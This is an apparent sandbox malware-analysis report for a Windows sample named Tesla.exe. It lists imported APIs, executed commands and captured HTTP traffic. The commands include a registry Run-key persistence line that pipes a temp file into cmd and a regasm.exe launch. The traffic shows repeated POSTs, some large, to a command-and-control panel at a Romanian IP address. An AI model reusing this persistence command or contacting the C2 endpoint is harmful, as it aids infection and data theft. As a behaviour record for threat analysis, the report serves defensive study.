mscoree.dll.GetTokenForVTableEntry
mscoree.dll.SetTargetForVTableEntry
mscoree.dll.GetTargetForVTableEntry
mscoreei.dll.GetTokenForVTableEntry
mscoreei.dll.SetTargetForVTableEntry
mscoreei.dll.GetTargetForVTableEntry
kernel32.dll.GetLastError
kernel32.dll.LocalAlloc
oleaut32.dll.VariantInit
oleaut32.dll.VariantClear
oleaut32.dll.#7
kernel32.dll.CreateEventW
kernel32.dll.SetEvent
ole32.dll.CoWaitForMultipleHandles
ole32.dll.IIDFromString
kernel32.dll.LoadLibraryA
wminet_utils.dll.ResetSecurity
wminet_utils.dll.SetSecurity
wminet_utils.dll.BlessIWbemServices
wminet_utils.dll.BlessIWbemServicesObject
wminet_utils.dll.GetPropertyHandle
wminet_utils.dll.WritePropertyValue
wminet_utils.dll.Clone
wminet_utils.dll.VerifyClientKey
wminet_utils.dll.GetQualifierSet
wminet_utils.dll.Get
wminet_utils.dll.Put
wminet_utils.dll.Delete
wminet_utils.dll.GetNames
wminet_utils.dll.BeginEnumeration
wminet_utils.dll.Next
wminet_utils.dll.EndEnumeration
wminet_utils.dll.GetPropertyQualifierSet
wminet_utils.dll.GetObjectText
wminet_utils.dll.SpawnDerivedClass
wminet_utils.dll.SpawnInstance
wminet_utils.dll.CompareTo
wminet_utils.dll.GetPropertyOrigin
wminet_utils.dll.InheritsFrom
wminet_utils.dll.GetMethod
wminet_utils.dll.PutMethod
wminet_utils.dll.DeleteMethod
wminet_utils.dll.BeginMethodEnumeration
wminet_utils.dll.NextMethod
wminet_utils.dll.EndMethodEnumeration
wminet_utils.dll.GetMethodQualifierSet
wminet_utils.dll.GetMethodOrigin
wminet_utils.dll.QualifierSet_Get
wminet_utils.dll.QualifierSet_Put
wminet_utils.dll.QualifierSet_Delete
wminet_utils.dll.QualifierSet_GetNames
wminet_utils.dll.QualifierSet_BeginEnumeration
wminet_utils.dll.QualifierSet_Next
wminet_utils.dll.QualifierSet_EndEnumeration
wminet_utils.dll.GetCurrentApartmentType
wminet_utils.dll.GetDemultiplexedStub
wminet_utils.dll.CreateInstanceEnumWmi
wminet_utils.dll.CreateClassEnumWmi
wminet_utils.dll.ExecQueryWmi
wminet_utils.dll.ExecNotificationQueryWmi
wminet_utils.dll.PutInstanceWmi
wminet_utils.dll.PutClassWmi
wminet_utils.dll.CloneEnumWbemClassObject
wminet_utils.dll.ConnectServerWmi
oleaut32.dll.#500
oleaut32.dll.SysStringLen
kernel32.dll.RtlZeroMemory
advapi32.dll.GetUserNameW
kernel32.dll.GetComputerNameW
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
mscoree.dll.ND_RI2
mscoreei.dll.ND_RI2
rasapi32.dll.RasEnumConnectionsW
rtutils.dll.TraceRegisterExA
rtutils.dll.TracePrintfExA
ws2_32.dll.WSAStartup
ws2_32.dll.setsockopt
ws2_32.dll.WSAEventSelect
ws2_32.dll.ioctlsocket
ws2_32.dll.closesocket
advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.CreateFileMappingW
kernel32.dll.MapViewOfFile
kernel32.dll.VirtualQuery
kernel32.dll.ReleaseMutex
advapi32.dll.CreateWellKnownSid
kernel32.dll.CreateMutexW
kernel32.dll.WaitForSingleObject
kernel32.dll.OpenMutexW
kernel32.dll.GetProcessTimes
kernel32.dll.FormatMessageW
rasapi32.dll.RasConnectionNotificationW
sechost.dll.OpenServiceA
advapi32.dll.RegOpenCurrentUser
advapi32.dll.RegNotifyChangeKeyValue
sechost.dll.NotifyServiceStatusChangeA
kernel32.dll.ResetEvent
iphlpapi.dll.GetNetworkParams
dnsapi.dll.DnsQueryConfig
iphlpapi.dll.GetAdaptersAddresses
iphlpapi.dll.GetIpInterfaceEntry
iphlpapi.dll.GetBestInterfaceEx
ws2_32.dll.inet_addr
ws2_32.dll.getaddrinfo
ws2_32.dll.freeaddrinfo
ws2_32.dll.WSAConnect
ws2_32.dll.send
ws2_32.dll.recv
ws2_32.dll.shutdown
kernel32.dll.GetModuleHandleW
user32.dll.DefWindowProcW
gdi32.dll.GetStockObject
user32.dll.RegisterClassW
user32.dll.CreateWindowExW
user32.dll.SetWindowLongW
user32.dll.GetWindowLongW
kernel32.dll.GetCurrentThread
kernel32.dll.GetCurrentThreadId
user32.dll.CallWindowProcW
user32.dll.RegisterWindowMessageW
dwmapi.dll.DwmIsCompositionEnabled
ntdll.dll.NtQuerySystemInformation
cryptsp.dll.CryptGetProvParam
cryptsp.dll.CryptSetKeyParam
cryptsp.dll.CryptEncrypt
ws2_32.dll.select
kernel32.dll.CreateDirectoryW
kernel32.dll.SetFileAttributesW
advapi32.dll.RegSetValueExW
kernel32.dll.DeleteFileW
user32.dll.SetClipboardViewer
ole32.dll.OleInitialize
ole32.dll.OleGetClipboard
kernel32.dll.GlobalLock
kernel32.dll.GlobalUnlock
kernel32.dll.GlobalFree
user32.dll.SendMessageW
kernel32.dll.CreateIoCompletionPort
kernel32.dll.PostQueuedCompletionStatus
ntdll.dll.NtQueryInformationThread
ntdll.dll.NtGetCurrentProcessorNumber
user32.dll.SetTimer
kernel32.dll.GetLogicalDrives
user32.dll.SetWindowsHookExW
kernel32.dll.GetDiskFreeSpaceExW
kernel32.dll.GetDriveTypeW
user32.dll.GetSystemMetrics
user32.dll.GetClientRect
user32.dll.GetWindowRect
user32.dll.GetParent
ole32.dll.CoRegisterMessageFilter
user32.dll.PeekMessageW
user32.dll.WaitMessage
kernel32.dll.RtlMoveMemory
shell32.dll.ShellExecuteEx
shell32.dll.ShellExecuteExW
kernel32.dll.FindFirstFileW
kernel32.dll.FindClose
kernel32.dll.GetExitCodeProcess
kernel32.dll.GetSystemTimeAsFileTime
user32.dll.GetLastInputInfo
setupapi.dll.CM_Get_Device_Interface_List_Size_ExW
setupapi.dll.CM_Get_Device_Interface_List_ExW
mlang.dll.#112
wininet.dll.FindFirstUrlCacheEntryA
kernel32.dll.SetFileInformationByHandle
urlmon.dll.CreateUri
kernel32.dll.InitializeSRWLock
kernel32.dll.AcquireSRWLockExclusive
kernel32.dll.AcquireSRWLockShared
kernel32.dll.ReleaseSRWLockExclusive
kernel32.dll.ReleaseSRWLockShared
wininet.dll.FindNextUrlCacheEntryA
wininet.dll.FindCloseUrlCache
ole32.dll.CLSIDFromProgIDEx
ole32.dll.CoRevokeInitializeSpy
comctl32.dll.#388
kernel32.dll.GetVolumeInformationA
user32.dll.GetDC
user32.dll.EnumDisplayMonitors
user32.dll.GetMonitorInfoW
gdi32.dll.GetDeviceCaps
user32.dll.ReleaseDC
user32.dll.GetProcessWindowStation
user32.dll.GetUserObjectInformationA
kernel32.dll.SetConsoleCtrlHandler
user32.dll.GetClassInfoW
user32.dll.MsgWaitForMultipleObjectsEx
kernel32.dll.FindAtomW
kernel32.dll.AddAtomW
mscoree.dll.LoadLibraryShim
gdiplus.dll.GdiplusStartup
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromScan0
gdiplus.dll.GdipGetImageEncodersSize
gdiplus.dll.GdipGetImageEncoders
mscoree.dll.ND_WI4
mscoreei.dll.ND_WI4
gdiplus.dll.GdipGetImagePixelFormat
gdiplus.dll.GdipGetImageGraphicsContext
gdi32.dll.GetCurrentObject
gdiplus.dll.GdipGetDC
gdi32.dll.BitBlt
gdiplus.dll.GdipReleaseDC
gdiplus.dll.GdipSaveImageToFile
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
oleaut32.dll.#8
oleaut32.dll.#10
gdiplus.dll.GdipDeleteGraphics
gdiplus.dll.GdipDisposeImage
vssapi.dll.CreateWriter
advapi32.dll.LookupAccountNameW
samcli.dll.NetLocalGroupGetMembers
samlib.dll.SamConnect
rpcrt4.dll.NdrClientCall3
rpcrt4.dll.RpcStringBindingComposeW
rpcrt4.dll.RpcStringFreeW
samlib.dll.SamOpenDomain
samlib.dll.SamLookupNamesInDomain
samlib.dll.SamOpenAlias
samlib.dll.SamFreeMemory
samlib.dll.SamCloseHandle
samlib.dll.SamGetMembersInAlias
netutils.dll.NetApiBufferFree
ole32.dll.CoCreateGuid
ole32.dll.StringFromCLSID
propsys.dll.VariantToPropVariant
wbemcore.dll.Reinitialize
wbemsvc.dll.DllGetClassObject
wbemsvc.dll.DllCanUnloadNow
authz.dll.AuthzInitializeContextFromToken
authz.dll.AuthzInitializeObjectAccessAuditEvent2
authz.dll.AuthzAccessCheck
authz.dll.AuthzFreeAuditEvent
authz.dll.AuthzFreeContext
authz.dll.AuthzInitializeResourceManager
authz.dll.AuthzFreeResourceManager
rpcrt4.dll.RpcBindingCreateW
rpcrt4.dll.RpcBindingBind
rpcrt4.dll.I_RpcMapWin32Status
advapi32.dll.EventWrite
kernel32.dll.RegSetValueExW
kernel32.dll.RegQueryValueExW
wmisvc.dll.IsImproperShutdownDetected
wevtapi.dll.EvtRender
wevtapi.dll.EvtNext
wevtapi.dll.EvtClose
wevtapi.dll.EvtQuery
wevtapi.dll.EvtCreateRenderContext
rpcrt4.dll.RpcBindingSetOption
ole32.dll.CoCreateFreeThreadedMarshaler
ole32.dll.CreateStreamOnHGlobal
advapi32.dll.RegCreateKeyExW
kernelbase.dll.InitializeAcl
kernelbase.dll.AddAce
sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.IsThreadAFiber
kernel32.dll.OpenProcessToken
kernelbase.dll.GetTokenInformation
kernelbase.dll.DuplicateTokenEx
kernelbase.dll.AdjustTokenPrivileges
kernel32.dll.SetThreadToken
kernelbase.dll.CheckTokenMembership
kernelbase.dll.AllocateAndInitializeSid
oleaut32.dll.#285
oleaut32.dll.#12
oleaut32.dll.#286
ole32.dll.CLSIDFromString
oleaut32.dll.#17
oleaut32.dll.#20
oleaut32.dll.#19
oleaut32.dll.#25
ole32.dll.CoRevertToSelf
advapi32.dll.LogonUserExExW
sspicli.dll.LogonUserExExW
authz.dll.AuthzInitializeContextFromSid
ole32.dll.CoGetCallContext
ole32.dll.CoImpersonateClient
advapi32.dll.OpenThreadToken
ole32.dll.CoSwitchCallContext
oleaut32.dll.#287
oleaut32.dll.#288
oleaut32.dll.#289
ntmarta.dll.GetMartaExtensionInterface
fastprox.dll.DllGetClassObject
fastprox.dll.DllCanUnloadNow
oleaut32.dll.#290
wmi.dll.WmiQueryAllDataW
wmi.dll.WmiQuerySingleInstanceW
wmi.dll.WmiSetSingleItemW
wmi.dll.WmiSetSingleInstanceW
wmi.dll.WmiExecuteMethodW
wmi.dll.WmiNotificationRegistrationW
wmi.dll.WmiMofEnumerateResourcesW
wmi.dll.WmiFileHandleToInstanceNameW
wmi.dll.WmiDevInstToInstanceNameW
wmi.dll.WmiQueryGuidInformation
wmi.dll.WmiOpenBlock
wmi.dll.WmiCloseBlock
wmi.dll.WmiFreeBuffer
wmi.dll.WmiEnumerateGuids

Execute Commands

"cmd"
"C:\Users\Seven01\AppData\Roaming\Tesla.exe"
C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe "C:\Users\Seven01\AppData\Roaming\Tesla.exe"
reg  add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Update" /d "cmd /c type "C:\Users\Seven01\AppData\Local\Temp\Update.txt" | cmd"
C:\Users\Seven01\AppData\Local\Temp\Txu.exe C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-05-18 17:13:17 2018-05-18 17:16:14 177

17 HTTP Request(s) detected

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 93.184.221.240
  • Port: 80
  • Count: 5

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86400
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 93.184.221.240
  • Port: 80
  • Count: 5

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86401
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://checkip.dyndns.org/
  • Hostname: checkip.dyndns.org
  • IP Address: 162.88.96.194
  • Port: 80
  • Count: 1

GET / HTTP/1.1
Host: checkip.dyndns.org
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 22

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 246
Expect: 100-continue
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 25

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 294
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 288
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 89

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 246
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 1602
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 264
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 2

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41468
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41466
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41502
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 2

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 294
Expect: 100-continue
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41504
Expect: 100-continue
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 4

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 296
Expect: 100-continue
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 2

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41502
Expect: 100-continue
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 296
Expect: 100-continue

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-05-18 17:13:17 2018-05-18 17:16:14 177

1 Host(s) detected

IP Address Hostname Reverse DNS
185.141.25.242 Romania hosting1.ro.hostsailor.com.

Host(s) by Country

Hosts Country 1
1 Romania Romania